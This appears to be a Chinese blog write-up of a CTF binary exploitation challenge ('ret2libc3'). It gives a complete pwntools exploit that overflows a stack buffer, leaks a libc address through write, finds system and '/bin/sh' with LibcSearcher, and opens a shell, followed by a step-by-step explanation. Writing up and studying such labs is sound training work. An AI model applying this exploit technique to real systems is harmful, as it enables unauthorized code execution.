暑期 pwn! pwn! pang! (二):ret2libc3 libc泄露,无system

不管这题是不是洪水猛兽,得先看了安全保护才知道:
暑期 pwn! pwn! pang! (二):ret2libc3 libc泄露,无system_第1张图片
源程序开启了栈堆不可执行保护,但可以用rop的方法绕过。
那就再看看源程序,发现仍是栈溢出,可以利用write函数溢出。
暑期 pwn! pwn! pang! (二):ret2libc3 libc泄露,无system_第2张图片
检查是否有"/bin/sh" 及system,发现并没有!!!

ROPgadget --binary pwn001 --string "/bin/sh"

gdb pwn001
b system

那么我们该如何得到system函数的地址呢?
system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
可以先泄露出自己程序中的某个函数,再与libc中的比对,找到相应的libc版本,就能得到现有程序的system地址了,此处需要用到LibcSearcher(其实github上也有一个更快的LibcSearcher2,但我不会用。。。)
那咱们再来理理思路:

  • 泄露 __libc_start_main 函数地址
  • 获取libc版本
  • 找到/bin/sh和system的地址
  • 再泄露一次,触发栈溢出执行system(’/bin/sh’)

exp如下:

from pwn import *
from LibcSearcher import *
sh=process('./pwn001')
elf=ELF('./pwn001')

write_plt=elf.plt['write']
libc_start_main_got=elf.got['__libc_start_main']
main=elf.symbols['main']

pld1='a'*0x28+'bbbb'+p32(write_plt)+p32(main)+p32(1)+p32(libc_start_main_got)+p32(4)
sh.send(pld1)
sh.recv(0x100)
libc_start_main_addr=u32(sh.recv(4))

libc=LibcSearcher('__libc_start_main',libc_start_main_addr)
#libc.add_condition('write',write_addr)
libcbase=libc_start_main_addr-libc.dump('__libc_start_main')
system_addr=libcbase+libc.dump('system')
binsh_addr=libcbase+libc.dump('str_bin_sh')
pld2='a'*0x28+'bbbb'+p32(system_addr)+0xdeadbeef+p32(binsh_addr)
sh.sendline(pld2)
sh.interactive()

My understanding:

  • 首先利用ELF可直接得到write函数,__libc_start_main函数,main函数的地址(no pie)
  • 第一次覆盖,先覆盖临时变量buf,再加上旧的ebp,所以先是’a’*0x28+‘bbbb’
  • 此时函数若正常执行则执行 pop eip这条指令,我们用write的地址覆盖这条指令的地址,让函数重新执行write
  • 为了调用write函数,先write的返回地址入栈,我们将这个返回地址覆盖成main(回到main,才能再执行一次read和write,为第二次覆盖创造条件),然后是write函数的形参入栈,这里就能把我们想要的地址打印出来,我们从libc_start_main开始,打印四个字节,即libc_start_main函数地址
  • 将我们构造的pld1发送出去,收到第一次执行write返回的0x100,这个没啥用,p.recv(0x100)一下,让它过了,重头戏是第二次执行收到的libc_start_main的地址,接收它
  • 好,我们可以利用泄露出来的libc_start_main的地址来和libc库中的这个函数进行比较,得到对应的libc版本
  • libc.dump(’__libc_start_main’)得到的是这个函数对libc基址的偏移,所以我们要得到libc基址的话就得用已知的函数地址减去偏移,得到基址即libcbase
  • 分别从libc中dump出system 和str_bin_sh 的偏移,加上基址,就是我们所需要的system("/bin/sh")的地址
  • 构造pld2,再次覆盖临时变量,让其返回到system,system的返回可以不用管了,所以直接用无效的0xdeadbeef,再传入system的参数,/bin/sh
  • o了

理是这个理,但如果LibcSearcher一下发现没有库能匹配就比较醉。

你可能感兴趣的:(暑期 pwn! pwn! pang! (二):ret2libc3 libc泄露,无system)